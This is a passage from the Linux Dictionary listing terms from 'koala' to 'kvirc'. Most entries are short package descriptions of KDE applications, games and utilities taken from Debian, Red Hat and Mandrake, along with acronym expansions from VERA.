a distributed MUD server. The Koala mud server is designed to be a highly scalable, distributed multiuser roleplaying game. The game world can be distributed across multiple machines in multiple different locations. For the purposes of stability, multiple machines can be setup to run the same part of the world. Players can wander around the entirety of the world from any of the client servers that are attached to the network. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kodo

mouse odometer for KDE KOdometer measures your desktop mileage. It tracks the movement of your mouse pointer across your desktop and renders it in inches/feet/miles! It can do cm/metres/km too. Its most exciting feature is the tripometer, and its utter uselessness. This package is part of the official KDE toys module. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koffice

KDE Office Suite KOffice is an integrated office suite for KDE, the K Desktop Environment. It offers a word processor, spreadsheet, presentation program, graphics tools and more. This package provides all the components of KOffice. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koffice

Office applications for the K Desktop Environment. KOffice contains: * KWord: word processor * KSpread: spreadsheet * KPresenter: presentations * KChart: diagram generator * KOnTour * Krayon * Kugar * Kivio * Some filters (Excel 97, Winword 97/2000, etc.) From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

komba2

KDE Samba browser Komba2 is a GUI machine and share browser for the SMB protocol. Komba2 allows you to scan any number of subnets for machines with SMB. The workgroups, machines and share are shown in a tree-view. For each machine you can then view the list of shares, and mount, unmount or browse them. You can also search a machine by name or ip. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kon2

Kanji ON Console. KON2 display KANJI on console. (KON Version2) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koncd

KOnCD is a graphical frontend for mastering and burning CD-ROMs. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konfont

Public domain japanese fonts for KON2. This package is public domain japanese fonts. And customized for kon2 package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konq-plugins

plugins for Konqueror, the KDE file/web/doc browser This package contains a variety of useful plugins for Konqueror, the file manager, web browser and document viewer for KDE. The plugins will appear in Konqueror's Tools menu. Highlights for web browsing include web page translation, web page archiving, HTML structural analysis and fast access to common options. Highlights for directory browsing include directory filters and image gallery creation. This package is part of the KDE addons module. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konq-speaker

text-to-speech plugins for Konqueror and Kate This package contains text-to-speech plugins for Konqueror (the KDE file manager and web browser) and Kate (a KDE text editor). Text-to-speech is provided by the festival speech system. These plugins can be accessed through Konqueror's Tools menu and the plugin manager in Kate settings. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konqueror

KDE's advanced File Manager, Web Browser and Document Viewer KDE's advanced File Manager, Web Browser and Document Viewer From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konquest

KDE based GNU-Lactic Konquest game This the KDE version of Gnu-Lactic Konquest, a multi-player strategy game. The goal of the game is to expand your interstellar empire across the galaxy and, of course, crush your rivals in the process. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konsole

X terminal emulation for KDE Konsole is an X terminal emulation which provides a command-line interface (CLI) while using the graphical K Desktop Environment. Konsole helps to better organize user's desktop by containing multiple sessions in a single window (a less cluttered desktop). It's advanced features include a simple configuration and the ability to use multiple terminal shells in a single window Using Konsole, a user can open: Linux console sessions Midnight Commander file manager sessions Shell sessions Root consoles sessions From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kontour

a vector graphics tool for the KDE Office Suite Kontour is a vector graphics application. This application was formerly known as KIllustrator. This package is part of the KDE Office Suite. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konverse

a Jabber client for KDE Konverse is a Jabber client for the K Desktop Environment. It offers instant messaging and can converse with other clients such as Jabber, AOL Instant Messenger, ICQ, MSN Instant Messenger or Yahoo! Messenger. Jabber is an XML-based, open-source system and protocol for real-time messaging and presence notification. The first application of Jabber is an instant messaging (IM) system similar to AOL Instant Messenger, ICQ, MSN Instant Messenger, or Yahoo! Messenger. However, Jabber is also being applied in the realms of wireless communications, embedded systems, and Internet infrastructure. See www.jabber.org for further details. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

konwert

Charset conversion for files or terminal I/O `konwert' is yet another charset converter. Some particular features are: * one-to-many conversions * context-dependent conversions * approximations of some unavailable characters * (as a result) ability to transcript eg. russian cyrillic into polish phonetic equivalent * etc. `filterm' applies filter conversion to a terminal's I/O, to get on-the-fly charset conversion, and customized input methods. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kooka

Scanner program for KDE2 Kooka is a scanner program based on SANE and KScan library.

WARNING Please read the WARNING file first in /usr/share/doc/kooka From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KORE

??? From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

korganizer

A full Personal Information Manage (PIM). From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

korganizer

Personal organizer based on Qt and KDE A complete calendar and scheduling program. KOrganizer supports information interchange with other calendar applications through the industry standard vCalendar file format. KOrganizer aims to be a complete program for organizing your appointments, contacts, projects, etc. It is in the same spirit as similar programs like the now ubiquitous Microsoft Outlook, Starfish Internet Sidekick, Time & Chaos, etc. (all for the Microsoft Windows platform, of course.) Best of all, It reads and writes the vCalendar file format NATIVELY (please see <http://www.imc.org/pdi> for more information), which is now an industry-wide personal data interchange format. Because of this, you should be able to move from other modern PIMs to KOrganizer with relative ease. Current users of the popular program ical should definitely take a look at KOrganizer and compare features. KOrganizer also offers full synchronization with your Palm Pilot, if you have kpilot installed. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

korinoco

Linux Dictionary

Clone the "Client Manager" from Lucent Technologies, Inc. The KORinoco application tries to clone the "Client Manager" from Lucent Technologies, Inc. It provides information about your access point, connection quality and other stuff. In theory, not only the original Orinoco card but as well other 802.11 compliant cards should be supported. However, this is untested. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

korn

Mail notifier for KDE Mail notifier for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Korn Shell

An enhanced version of the Bourne Shell, including extensive scripting support and command line editing. It supports many scripts written for the Bourne Shell. (Also, see Bash.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

korn shell

An enhanced version of the Bourne shell. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KOS

Kent On-Line System (OS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koscript

a script interpreter for the KDE Office Suite From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koshell

the KDE Office Suite workspace From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koshell

the KDE Office Suite workspace The KOffice workspace is a desktop with easy one-click launchers for KOffice applications. This package is part of the KDE Office Suite. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koth

King of the Hill King of the Hill, KOTH, is an artillery game in the grand old tradition of little tanks with ridiculously powerful weapons trying to blow each other up while trying to avoid getting blown up themselves. KOTH is based on a client-server networking model. Players can join and leave at any time, and because bandwidth use is quite modest you can even easily play over a modem – KOTH really is a strategy game, ping time is irrelevant. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koules

Space action game for X11. A somewhat abstract space action game for X11 with sound. Supports multiplayer deathmatch and cooperative play. Koules is a fast action arcade-style game for UNIX and OS/2. This version supports X window system, SVGAlib for Linux and OS/2. It works in fine (up to 900x620) resolution with cool 256 color graphics, multiplayer mode up to 5 players, full sound and, of course, network support. Koules is an original idea. First version of Koules was developed from scratch by Jan Hubicka in July 1995. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpackage

Installs, removes, and queries packages. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpackage

Software package tool for KDE This is a frontend to both .rpm and .deb package formats. It allows you to view currently installed packages, browse available packages, and install/remove them. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpaint

Linux Dictionary

A simple bitmap paint program for KDE. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpaint

A Simple Paint Program for KDE KPaint is a very simple paint program for KDE. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpaint

Painting tool for KDE. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpat

KDE solitaire patience game. KPatience is a collection of 14 card games. All the games are single player games. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KPCMS

Kodak Precision Color Management System (Kodak, DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KPDL

Kyocera Page Description Language (Kyocera) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpf

KPF is an easy to use public file server controlled from the KDE panel. Simply drag a file or directory to the KPF button to share it. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KPI

Kernel Programming Interface (Unix, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpilot

Palm Pilot sync tool for KDE Palm Pilot sync tool for KDE From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpm

KDE process manager. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KPM

Kyocera PrintMonitor (Kyocera) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpm

Process manager for KDE This is a process manager (top + ps and all) for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpmdocked

KDE process manager. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpoker

KDE based Poker clone K Poker is a KDE compliant clone of those highly addictive pocket video poker games which are sometimes called "Videopoker" as well. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KPOP

Kerberized Post Office Protocol (POP3) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kppp

PPP dialer for KDE This is a PPP GUI based on Qt and KDE From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kppp

PPP Networking applications for the K Desktop Environment. Install kppp if you intend to use KDE on a machine using PPP networking. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpppload

Linux Dictionary

KPPPLoad is a PPP connection load monitor which works with KDE's session management. KPPPLoad resembles xload. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kprconverter.pl

converts a KPresenter document from old to new format From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpresenter

a presentation program for the KDE Office Suite From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpresenter

a presentation program for the KDE Office Suite KPresenter is a fully-featured presentation program. It is sufficiently developed that it is already being successfully used for giving talks and presentations. This package is part of the KDE Office Suite. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kprof

a KDE visual tool to help analyze profiling results KProf is a visual tool for developers that displays the execution profiling output generated by code profiling tools. The output of gprof being usually difficult to read (beyond the flat profile information), KProf presents the information in list- or tree-views that make the execution profiling information very easy to understand. Currently supported profilers include GNU gprof, Function Check and Palm OS Emulator with profile option. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpsepath

script to make teTeX-style kpsetool, kpsexpand, and kpsepath available From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpsestat

compute octal mode from mode of existing file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpsetool

script to make teTeX-style kpsetool, kpsexpand, and kpsepath available From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpsewhich

standalone path lookup and expansion for kpathsea From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kpsexpand

script to make teTeX-style kpsetool, kpsexpand, and kpsepath available From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KPT

Kai's PowerTools (DTP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KQML

Knowledge Query Manipulation Language (AI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KR

Knowledge Representation (AI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KR

[brian] Kernighan & [dennis] Ritchie [c standard], "K&R" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KRA

Key Recovery Alliance (org., cryptography) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

krbafs

This package contains the krbafs shared library, which allows programs to obtain AFS network filesystem tokens using Kerberos IV credentials, without having to link with official AFS libraries which may not be available for a given platform. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kreatecd

A KDE CD burner with an easy interface The description is a rip-off from <http://www.kreatecd.de/intro.php> KreateCD is a graphical user interface for the K Desktop Environment to copy and master own audio CDs (CDDA) or data CDs (CD-ROM). The idea to create such an application came to mind because there are only a few such applications for Linux and many people are not able to use the command line tools. Xcdrast is not bad at all but there are some features which are missing. I don't like TCL/TK very much so I decided to create a similar but more extended application for my favorite desktop environment : KDE. KreateCD itself uses some command line applications as base applications and provides a comfortable and very intuitive user interface which should be usable by people who don't have any experiences with Linux at all. The main features of KreateCD are: o Intuitive user interface o Supports mastering of ISO-9660 CD-ROM tracks o Is able to read .WAV audio files o Easy to use CD copy function o Some useful features to edit audio tracks before you write it to CD. (volume boosting, balance and range selection) o Audio playback From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

krecord

KDE sound recorder This is a sound recorder for KDE. It can just record and playback wav-files, that's all. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kregexpeditor

A Regular Expressions Editor. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kreversi

Reversi for KDE Reversi is a simple strategy game that is played by two players. There is only one type of piece – one side of it is black, the other white. If a player captures a piece on the board, that piece is turned and belongs to that player. The winner is the person that has more pieces of his own color on the board and if there are no more moves possible. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

krootwarning

This package contains a warning box displayed when you are using KDE with system administrator permissions. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

krozat

This package contains the default Mandrake Linux screensaver for KDE. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KRUD

Kevin's Red Hat Uber Distribution. See LWN review. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kruler

a screen ruler and color measurement tool for KDE Kruler is a screen ruler and color measurement tool for KDE. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kruler

Screen ruler for KDE. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

krusader

File Manager for KDE Krusader is an "old-school" file manager. Its twin-panel look follows in the footsteps of the great file managers of old such as GNU's Midnight Commander(c) and the Norton Commander(c) for DOS. Krusader features an intuitive GUI, complete drag n' drop capability, transparent handling of archives, MIME type support, and more. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSA

Kalman Saffran Associates (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSA

KommunikationsStrukturAnalyse (OA, TUB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksame

SameGame for KDE KSame is a simple game. It's played by one player, so there is only one winner :-). You play for fun and against the high score. It has been inspired by SameGame, that is only famous on the Macintosh platform. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kscd

KDE based cd player This is a KDE based cd player From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kscore

sports ticker for KDE A sports ticker applet for the KDE panel. This package is part of the official KDE toys module. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kscreensaver

Screen savers for KDE This package contains all of the Screen Savers that are included in the kdebase distribution. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSDS

Key Sequenced Data Set (VSAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kseg

Explore planar Euclidean geometry. KSEG allows you to interactively create a geometrical construction, similar to what you can do with a straight edge and compass. Points may be inserted on the page with right mouse-button clicks, and then used to form segments, lines, circles, or other geometrical objects. At any time you can drag existing points around, and watch how the constructed objects respond. See <http://www.mit.edu/~ibaran/kseg.html> for more info. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksensors

lm-sensors frontend for KDE This is a lm-sensors frontend for KDE for monitoring a motherboard. It allows you to access information from temperature and fan speed sensors. You will need lm-sensors kernel modules to use this package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSH

Key Strokes per Hour From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSH

Korn SHell (Unix, Shell) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksh

Public domain Korn shell From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kshisen

Shisen-Sho for KDE KShisen-Sho is a single-player-game similar to Mahjongg and uses the same set of tiles as Mahjongg. The object of the game is to remove all tiles from the field. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSI-Linux

The web site is in Russian and does not appear to have been updated since 1999. Distribution development is not all that active. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSIG

Khronos Special Interest Group From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksimus

KDE tool for simulating electrical circuits KSimus is an application for simulating networks with boolean and floating point data type. Some more data types are planned. Currently there exists only a few components, but because of the modular character of KSimus extensions are easy to develop.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksirc

IRC Client based on Qt and KDE IRC Client based on Qt and KDE From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksirtet

Tetris and Puyo-Puyo games for KDE This program is a clone of the well known game Tetris. You must fit the falling pieces to form full lines. You can rotate and translate the falling piece. The game ends when no more piece can fall ie when your incomplete lines reach the top of the board. Every time you have destroyed 10 lines, you gain a level and the pieces fall quicker (exactly the piece falls from a line each $1/(1+level)$ second). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSLNRC

Knowledge Systems Laboratory of the National Research Council (org., Canada, AI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksmiletris

Tetris like game for KDE This is a game with falling blocks composed of different types of smilies. The object of the game is to "crack a smile" by guiding blocks so there are two or more of the same symbol vertically. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksmp3play

Curses-based MP3 player. ksmp3play is a curses-based MP3 player with features such as song rating and volume settings for each song. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksnake

Snake Race for KDE Snake Race is a game of speed and agility. You are a hungry snake and are trying to eat all the apples in the room before getting out! From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksnapshot

A KDE applet for taking screenshots. ksnapshot allows both capturing the whole desktop and capturing just the active window. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksnapshot

Screenshot application for KDE KSnapshot is a simple applet for taking screenshots. It is capable of capturing images of either the whole desktop or just a single window. The images can then be saved in a variety of formats. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksokoban

Sokoban game for KDE The first sokoban game was created in 1982 by Hiroyuki Imabayashi at the Japanese company Thinking Rabbit, Inc. "Sokoban" is japanese for "warehouse keeper". The idea is that you are a warehouse keeper trying to push crates to their proper locations in a warehouse. The problem is that you cannot pull the crates or step over them. If you are not careful, some of the crates can get stuck in wrong places and/or block your way. It can be rather difficult just to solve a level. But if you want to make it even harder, you can try to minimise the number of moves and/or pushes you use to solve the level. To make the game more fun for small kids (below 10 years or so), some collections with easier levels are also included in KSoKoban. These are marked (easy) in the level

collection menu. Of course, these levels can be fun for adults too, for example if you don't want to expose yourself to too much mental strain. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSOS

Kernelized Secure Operating System (OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kspaceduel

Arcade two-player space game for KDE KSpaceduel is an space arcade game for two players. Each player controls a ship that flies around the sun and tries to shoot at the other ship. You can play KSpaceduel with another person, against the computer, or you can have the computer control both ships and play each other From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSPM

KeyStrokes Per Minute From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kspread

a spreadsheet for the KDE Office Suite KSpread is a powerful spreadsheet application. This package is part of the KDE Office Suite. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kspy

examines the internal state of a Qt/KDE app KSpy is a tiny library which can be used to graphically display the QObjects in use by a Qt/KDE app. In addition to the object tree, you can also view the properties, signals and slots of any QObject. Basically it provides much the same info as QObject::dumpObjectTree() and QObject::dumpObjectInfo(), but in a much more convenient form. KSpy has minimal overhead for the application, because the kspy library is loaded dynamically using KLibLoader. See /usr/share/doc/kspy/README for usage instructions. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSR

Keyboard Send Receive From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KSS

Kilo-Samples per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kstars

Desktop planetarium for KDE2 KStars displays an accurate representation of the night sky for any time and date, from any location on Earth. The display can be panned in altitude and azimuth, and can be zoomed in and out. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kstartperf

startup time measurement for KDE apps KStartPerf measures startup time for KDE applications. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksticker

A KDE-based scrolling stock ticker. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksymoops

Linux kernel oops and error message decoder The Linux kernel produces error messages that contain machine specific numbers which are meaningless for debugging. ksymoops reads machine specific files and the error log and converts the addresses to meaningful symbols and offsets. This is a complete replacement for the version of ksymoops in the kernel. Older versions of ksymoops were in scripts/ksymoops.cc, more recently there was a version in the scripts/ksymoops directory. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksymoops

The Linux kernel produces error messages that contain machine specific numbers that are meaningless for debugging. The ksymoops utility reads machine specific files and the error log and converts the addresses to meaningful symbols and offsets. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksysv

SysV-style init configuration editor This program allows you to edit your start and stop scripts using a drag and drop GUI. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ksysv

Views and sets SysV init configuration. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktalkd

Talk daemon for KDE Talk daemon for KDE From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kteatime

tea cooker timer for KDE A tea cooker timer that sits in the KDE system tray. This package is part of the official KDE toys module. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kterm

Multi-lingual terminal emulator for X. Kterm is an X11 terminal emulator that can handle multi-lingual text. This release is based on xterm of X11R6.1. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktexmaker2

LaTeX source editor, TeX shell and Gnuplot front end for KDE Ktexmaker2 is a LaTeX source editor, TeX shell and Gnuplot front end for KDE. The source editor is a multi-document version of KWrite for .tex and .bib files. Menus and wizards are provided to assist with tag insertion and code generation. A structure view of the document assists with navigation within source files. The TeX shell assists with LaTeX and bibtex compilation as well as DVI and postscript document viewing. It supports documents divided into several files. The Gnuplot front end is an adaptation of the Xgfe program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktimer

a timer for KDE This is a timer application for KDE. It allows you to execute commands after a certain amount of time. It allows for looping commands as well as delaying the execution of a command. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktimetrace

Graphical tool to measure and graph data KTimeTrace is a graphical tool based on Qt that measures and displays data from data acquisition hardware. It captures samples from a data acquisition device, saving it to disk while providing a real-time graphing display. KTimeTrace requires having a data acquisition device that is supported by Comedi in order to capture data. See the libcomedi0 package or <http://stm.lbl.gov/comedi> for more information about Comedi. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktouch

A program for learning touch typing. KTouch is a program for learning touch typing. KTouch is a way to learn to type on a keyboard quickly and correctly. Every finger has its place on the keyboard with associated keys to press. KTouch helps you learn to touch typing by providing you with something to write. KTouch can also help you to remember what fingers to use. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktron

tron-clone for the K Desktop Environment KTron is a simple tron-clone for the K Desktop Environment. Object of the game is to avoid running into walls, your own tail, and that of your opponent. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktuberling

Potato Guy for KDE KTuberling is a game intended for small children. Of course, it may be suitable for adults who have remained young at heart. It is a potato editor. That means that you can drag and drop eyes, mouths, moustache, and other parts of face and goodies onto a potato-like guy. There is no winner for the game. The only purpose is to make the funniest faces you can. There is a museum (like a "Madame Tousseau" gallery) where you can find many funny examples of decorated potatoes. Of course, you can send your own creations to the programmer, Eric Bischoff, who will include them in the museum if he gets some spare time. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ktux

Tux screensaver for KDE A neat Tux-in-a-spaceship screensaver for the K Desktop Environment (KDE). This package is part of the official KDE toys module. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kudzu

The Red Hat Linux hardware probing tool. This is a hardware probing tool run at system boot time to determine what hardware has been added or removed from the system.

<http://rhlinux.redhat.com/kudzu/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kugar

a business report maker for the KDE Office Suite Kugar is a tool for generating business quality reports which can be viewed and printed. It includes a standalone report viewer and a KPart report viewer. The latter means that any KDE application can embed the report viewing functionality and that reports can be viewed using the Konqueror browser. This package is part of the KDE Office Suite. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kuickshow

Kuickshow is a picture viewer for KDE. It displays the directory structure, displaying images as thumbnails. Clicking on an image shows the image in its normal size. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kuser

A user/group administration tool for KDE A user/group administration tool for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KUTGW

Keep Up The Good Work (slang, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kuvert

A wrapper that encrypts or signs outgoing mail. kuvert automatically signs and/or encrypts outgoing mail using the PGP/MIME standard (rfc2015), based on the availability of the recipient's key in your keyring. Other than similar wrappers, kuvert does not store the passphrases on disk but keeps them just in memory; if available, kuvert prefers to store the key passphrases with quintuple-agent. kuvert works as a wrapper around your MTA. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KV

KabelVerzweiger From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KV

Karnaugh Veitch diagram From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kview

A simple image viewer/converter for KDE. KView is a simple image viewer/converter application. This package contains kview, kdvi and kfax. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kview

KView is a KDE image viewer, supporting a wide range of graphics fileformats. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kvviewshell

KViewShell allows the kview image viewer to be embedded into other KDE applications. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kvirc

